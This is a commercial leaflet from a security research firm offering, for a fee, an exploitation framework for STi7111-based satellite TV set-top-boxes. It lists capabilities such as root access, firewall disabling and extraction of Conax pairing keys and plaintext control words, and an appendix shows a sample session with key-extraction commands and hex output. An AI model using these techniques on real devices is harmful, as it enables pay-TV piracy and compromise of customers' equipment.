

Exploitation Framework for STMicroelectronics DVB chipsets

SRP-2018-02-LEAFLET

PREORDER

I. Description

1. Exploitation framework for ST DVB chipsets			
Description	Software framework making it possible to research security of a SlimCORE and TKD Crypto cores of STi7111 DVB chipset in the environment of a real life digital satellite TV platform (NC+)		
Proof of Concept Code Features ¹	<ul style="list-style-type: none"> ▪ administrative access (OS root, JVM root and kernel level access) to provided set-top-box device (ITI-2850ST) ▪ full read/limited² write access to file system ▪ full read/write kernel and I/O space access (arbitrary system call installation) ▪ smart card interface interception (APDU req / resp logging) ▪ runtime firmware interception of STi7111's embedded crypto processor ▪ firewall disabling ▪ java and system level directory tree listing ▪ java and system level file/directory tree transfer ▪ access to information about system configuration (serial number, software version, hardware type, network configuration) ▪ access to information about MPEG services ▪ access to SI MPEG sections (PAT, PMT) ▪ simple MPEG sniffing by PID value ▪ access to information about various cryptographic keys (Conax, hdcp) ▪ access to information about user's subscription's status (Conax card entitlements) ▪ access to Electronic Program Guide (EPG) ▪ graphic screen capture ▪ control over the TV remote (imitation of the keyboard input) ▪ access to vulnerable STi7111 processor (SlimCORE and TKD crypto core) 		

¹ more features could be added to the Proof of Concept code in the future. In such a case, the customer will be notified and will receive a software update.

² to /mnt/flash directory.

	<ul style="list-style-type: none"> ▪ execution of custom TKD crypto core commands ▪ inspection of TKD crypto core memory ▪ Conax CWPK chipset pairing key extraction ▪ plaintext Control Word keys extraction ▪ the possibility to implement custom framework commands (run custom code on a device)
Deliverables	<ul style="list-style-type: none"> ▪ Technical document describing unpublished vulnerabilities (SRP-2018-02 Issues 1-3) in ADB software (ver. 0x50 from 2018-01-05) and STLinux (version 2.6.23.17_stm23_0121-P021-7111) along their exploitation techniques ▪ Source and binary codes for a Proof of Concept code exploiting vulnerabilities for set-top-box and STi7111 chipset access (APPENDIX A) ▪ ITI-2850ST set-top-box device ("NC+ na Kartę" prepaid offer, requires activation and a monthly fee payment of approx. 6 EUR³) vulnerable to STMicroelectronics vulnerabilities and SRP-2018-02 Issues 1-3.

II. Notes

1. The vulnerabilities in ADB software and STLinux (SRP-2018-02 Issue 1-3) along associated Proof of Concept codes have never been disclosed to any 3rd party.
2. The vulnerabilities in STi7111 chipset used by the exploitation framework have been disclosed in 2012 (HITB Talk #2).
3. The exploitation framework is based on a Proof of Concept Code developed and published as part of SE-2011-01 project.
4. Provided ITI-2850ST set-top-box device (Fig. 1) is based on a vulnerable STi7111 chipset and it is part of the NC+ prepaid SAT TV offer ("NC+ na Kartę"). Conax card provided with the device requires activation and valid subscription for selected features of the Proof of Concept code to be working (i.e. successful processing of ECM messages for the extraction of plaintext CW values in particular).



Fig. 1 ITI-2850ST set-top-box device.

³ the minimum payment of 24,95 PLN corresponding to Start+ package.

5. The ITI-2850ST set-top-box included as part of the research material makes it possible to validate STMicroelectronics vulnerabilities and SRP-2018-02 Issues 1-3. The set-top-box device is slightly customized in order to:

- prevent the automatic installation of a software update from a SAT TV operator (patching of SRP-2018-02 issues enabling access to the device),
- facilitate the execution of a Proof of Concept Code.

III. Legal Disclaimer

Beside the SRP license, the following paragraphs describe the legal disclaimer for the Proof of Concept Code constituting the Exploitation Framework (THE SOFTWARE) offered.

THE SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, AND TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW NEITHER SECURITY EXPLORATIONS, ITS LICENSORS OR AFFILIATES, NOR THE COPYRIGHT HOLDERS MAKE ANY REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR THAT THE SOFTWARE WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS, OR OTHER RIGHTS. THERE IS NO WARRANTY BY SECURITY EXPLORATIONS OR BY ANY OTHER PARTY THAT THE SOFTWARE WILL MEET YOUR REQUIREMENTS OR THAT IT WILL BE ERROR-FREE.

YOU ASSUME ALL RESPONSIBILITY AND RISK FOR THE SELECTION AND USE OF THE SOFTWARE TO ACHIEVE INTENDED RESULTS AND FOR THE INSTALLATION, USE, AND RESULTS OBTAINED FROM IT.

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL SECURITY EXPLORATIONS, ITS EMPLOYEES OR LICENSORS OR AFFILIATES BE LIABLE FOR ANY LOST PROFITS, REVENUE, SALES, DATA, OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, PROPERTY DAMAGE, PERSONAL INJURY, INTERRUPTION OF BUSINESS, LOSS OF BUSINESS INFORMATION, OR FOR ANY SPECIAL, DIRECT, INDIRECT, INCIDENTAL, ECONOMIC, COVER, PUNITIVE, SPECIAL, OR CONSEQUENTIAL DAMAGES, HOWEVER CAUSED AND WHETHER ARISING UNDER CONTRACT, TORT, NEGLIGENCE, OR OTHER THEORY OF LIABILITY ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN THIS DOCUMENT, EVEN IF SECURITY EXPLORATIONS OR ITS LICENSORS OR AFFILIATES ARE ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

IV. SRP pricing

- | | | |
|--------------------------------|------------|----------------------|
| ▪ PREORDER ⁴ SRP AO | 40 000 EUR | (forty thousand EUR) |
| ▪ SRP AO | 50 000 EUR | (fifty thousand EUR) |
| ▪ SRP EP | ON INQUIRY | |

⁴ preorder price is available for SRP AO purchases made before 18 Jun, 2018.

APPENDIX A

Sample session illustrating operation of the exploitation framework.

Obtaining current user information:

```
box> id
uid=555(stb) gid=10(stb)
```

Elevating Linux OS privileges to root user:

```
box> root
uid=0(root) gid=0(root)
```

Getting information about current TV service:

```
box> srvinfo
[service info]
- name                "TVP 1 HD"
- channel #           0011
- locator              dvb://13e.514.3abd
- type                 DIGITAL_TV
- security             SCRAMBLED, CA_PID=0x0c41
- p.pktdbits          0x00ffffff
```

Getting basic information about Conax card:

```
box> cardinfo
[card info]
- version              40
- CA sys_id            0b01
- EMM pid              00c0
- unique addr          00:00:00:79:05:fe:58
- shared addr          00:00:00:00:3c:82:ff
```

Getting information about Conax chipset pairing (chip id, encrypted / plaintext CWPK key value):

```
box> conaxinfo
[Conax info]
- type                 STTKDMA
- chip id              204f02ff
- encrypted CWPK       20 f1 fe 38 8c 4d f7 12 e4 69 3a e6 12 78 f3 f1
- plaintext CWPK       3d ce 79 5b 6b 9e 5e d3 76 d5 38 f4 3e b6 13 ea
```

Getting plaintext CWPK key value through a sequence of TKD Crypto core commands:

```
box> tkdcmd 0x15000001
- OUTPUT
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
box> tkdregs
- INPUT
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
- KEYS
0000: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0010: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0020: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0030: 14 9d 47 00 03 d6 8e c5 da 93 c6 a6 21 9c 71 79 ..G.....!.qy
```

```

0040: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0050: a5 e9 9e 9a 88 47 a5 2d a9 88 13 8f 71 3f e4 23 .....G.-....q?..#
0060: 3e b6 13 ea 76 d5 38 f4 6b 9e 5e d3 3d ce 79 5b >...v.8.k.^.=.y[
0070: d4 c8 94 af 84 84 5c de 17 82 f7 73 1e c3 2f e7 .....s.../.
box> tkdinput "a5 e9 9e 9a 88 47 a5 2d a9 88 13 8f 71 3f e4 23"
box> tkdcmd 0xffff0000
- OUTPUT
0000: 3d ce 79 5b 6b 9e 5e d3 76 d5 38 f4 3e b6 13 ea =.y[k.^..v.8.>...

```

Getting current Control Words values (encrypted and plaintext):

```

box> cwinfo
[CW info]
- ECM PACKET
0000: 81 70 73 70 6c 64 21 24 bc 38 2a 9e 23 9a ce 38 .pspld!$.8*..#..8
0010: e1 6d c7 6c d6 48 b3 4b 11 ce 2c 6c e2 ab d5 fc .m.l.H.K.,l....
0020: 5d f0 6b b4 ef 72 64 f1 52 15 ef ea 98 57 62 89 ].k..rd.R....Wb.
0030: 65 56 a5 1f 4f fa 5a 5b 7b 85 1e 20 af c9 f9 cb eV..O.Z[{.....
0040: cc bf 4a ea 47 fa 63 ed 77 db e8 91 c2 53 9c 7e ..J.G.c.w....S..
0050: 31 41 01 21 53 29 45 1b c4 56 d7 dd 23 4f 24 5b 1A.!S)E..V..#O$[
0060: 51 10 86 5f 03 2a 1e 94 8c 34 21 de e9 de 14 50 Q.._.*...4!....P
0070: 67 02 03 50 02 00 g..P..
- CARD RESPONSE
0000: 25 0d 60 f0 01 00 00 f0 85 69 73 86 ff 96 86 25 %.....is....%
0010: 0d 60 f0 00 00 00 05 95 ba 4b 31 e0 ce a2 31 02 .....Kl...l.
0020: 40 00 @.
- CUR CW crypted: f0856973 86ff9686
- CUR CW plaintext: ae800a38 2fdc8893
- NXT CW crypted: 0595ba4b 31e0cea2
- NXT CW plaintext: 1cca04ea 6af943a6

```

Getting plaintext Control Word values through a sequence of TKD Crypto core commands:

```

box> tkdinput "20 f1 fe 38 8c 4d f7 12 e4 69 3a e6 12 78 f3 f1" -s
box> tkdcmd 0x01ff0001
- OUTPUT
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
box> tkdinput "f0856973 86ff9686 0595ba4b 31e0cea2" -w
box> tkdcmd 0x15ff0101
- OUTPUT
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
box> tkdregs
- INPUT
0000: 73 69 85 f0 86 96 ff 86 4b ba 95 05 a2 ce e0 31 si.....K.....1
- KEYS
0000: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0010: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0020: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0030: bf 5f d2 81 40 d5 1a 59 a4 b6 86 56 0d 74 c6 d2 ._.@..Y...V.t..
0040: a1 27 43 c4 e5 10 e4 d2 74 15 20 bc ce 8a ce 5e .'C.....t.....^
0050: ea 04 ca 1c a6 43 f9 6a 38 0a 80 ae 93 88 dc 2f .....C.j8...../
0060: 3e b6 13 ea 76 d5 38 f4 6b 9e 5e d3 3d ce 79 5b >...v.8.k.^.=.y[
0070: d4 c8 94 af 84 84 5c de 17 82 f7 73 1e c3 2f e7 .....s.../.

```

Showing process list information:

```

box> ps
UID      PID      CMD

```

```

root      1      init
root      2      [kthreadd]
root      3      [ksoftirqd/0]
root      4      [events/0]
root      5      [khelper]
root     36      [kblockd/0]
root     75      [pdflush]
root     77      [kswapd0]
root     78      [aio/0]
root     82      [mtdblockd]
root    113      [hdmi_isr_task]
root    114      [hdmi_ctrl_task]
root    124      [STFDMA_Clbk_0]
root    125      [STFDMA_Clbk_1]
root    136      [nand_nonblock]
root    174      [stpti4_IntTask]
root    175      [stpti4_EvtTask]
root    183      [AdbMmeThreadCre]
root    184      [EMBXSHM-NewPort]
root    185      [EMBXSHM-PortClo]
root    186      [EMBXSHM-NewPort]
root    187      [EMBXSHM-PortClo]
root    188      [ST231_RELOAD]
root    191      [ksuspend_usbd]
root    197      [khubd]
root    226      [EVTCOLL0]
root    227      [EVTCOLL1]
root    228      [EVTCOLL2]
root    229      [PESCOLL0]
root    230      [PESCOLL1]
root    231      [PESCOLL2]
root    232      [SECCOLL0]
root    233      [SECCOLL1]
root    234      [SECCOLL2]
root    239      [video_mp2_decod]
root    246      [HostRec40800001]
root    247      [PreprocTask[0]]
root    248      [h264_decoder]
root    252      [ActivityTask]
root    263      [audmix0]
root    264      [audmix1]
root    265      [audmix2]
root    266      [AudDspRecovery]
root    267      [AudFdmaBh]
root    268      [audplayer1]
root    269      [audplayer0]
root    270      [audplayer2]
root    271      [audiodecoder_0]
root    272      [audio_dec_sb_0]
root    273      [audio_pproc_0]
root    288      [ttxt]
root    291      [sc0_irq_task]
root    340      [jffs2_gcd_mtd2]
root    364      /bin/sh /root/sslverify.sh
root    406      /bin/sh /root/dhcpc.sh
root    409      /bin/sh /root/rmstgd.sh
root    410      /sbin/udhcpc -i eth0 -f -s /etc/udhcpc.script -p /tmp/udhcpc.pid
-z /tmp/udhcpc.opt
root    422      /bin/sh /root/keventd.sh

```

```

root      424      /bin/sh /root/netd.sh
root      425      /sbin/rmstg_daemon
root      431      /sbin/keventd
root      435      /sbin/netd_server
root      465      /bin/sh --login -c home/stb/run.sh
root      466      ash home/stb/run.sh
stb       469      /home/stb/main.elf --no_mem_init --mem 80
root      676      [pdflush]
root      758      [HostRec40800008]
root      761      [HostRec40800009]
root      762      [HostRec4080000a]
root      763      [HostRec4080000b]
root      854      [leds_WorkTask]

```

Listing the contents of the root filesystem:

```

box> ls /
[/]
drwxr-xr-x    root    root    appres
drwxr-xr-x    root    root    bin
drwxrwxrwx    root    root    dev
drwxr-xr-x    root    root    etc
drwxr-xr-x    root    root    home
lrwxrwxrwx    root    root    init -> sbin/init
drwxr-xr-x    root    root    lib
drwxrwx---    root    root    mnt
drwxrwx---    root    stb     opt
dr-xr-xr-x    root    root    proc
drwxr-xr-x    root    root    root
drwxr-xr-x    root    root    sbin
drwxr-x---    root    root    sys
drwxrwxr--    root    stb     tmp
drwxr-xr-x    root    root    usr
drwxr-xr-x    root    root    var
box> ls /mnt
[/mnt]
drwxrwxrwx    root    root    cert
drwxrwxrwx    root    root    flash
drwxrwx---    root    root    ramdisk
drwxrwxr--    root    root    usb
box> ls /mnt/cert
[/mnt/cert]
drwxrwxrwx    root    root    xlets_ldr

```

Listing the contents of a directory containing set-top-box certificate used to authenticate a device with various NC+ online services (i.e. NC+ GO):

```

box> ls /mnt/cert/xlets_ldr
[/mnt/cert/xlets_ldr]
-r-----    stb     stb     stb-cert.pwd      8
-r-----    stb     stb     stb-cert.p12     3853

```

Listing the contents of a directory containing DSMCC Object Carousel mounts:

```

box> jls /oc/
[/oc]
storage                                     <DIR>
rom6                                       <DIR>

```

rom25	<DIR>
1	<DIR>
2	<DIR>
cached	<DIR>

Listing the contents of a directory containing the Watermarking application:

```
box> jls /oc/rom25
[/oc/rom25]
ait                                1970
app.jar                           180535
appstorage.zip                    1268
dvb.certificates.1               3303
dvb.hashfile                      90
dvb.signaturefile.1              257
dvb.storage.0000002d.5600        299
```

Downloading the files from a set-to-box to a PC:

```
box> jget /oc/rom25/app.jar
getting /oc/rom25/app.jar          ( 180535) [#####]
box>
```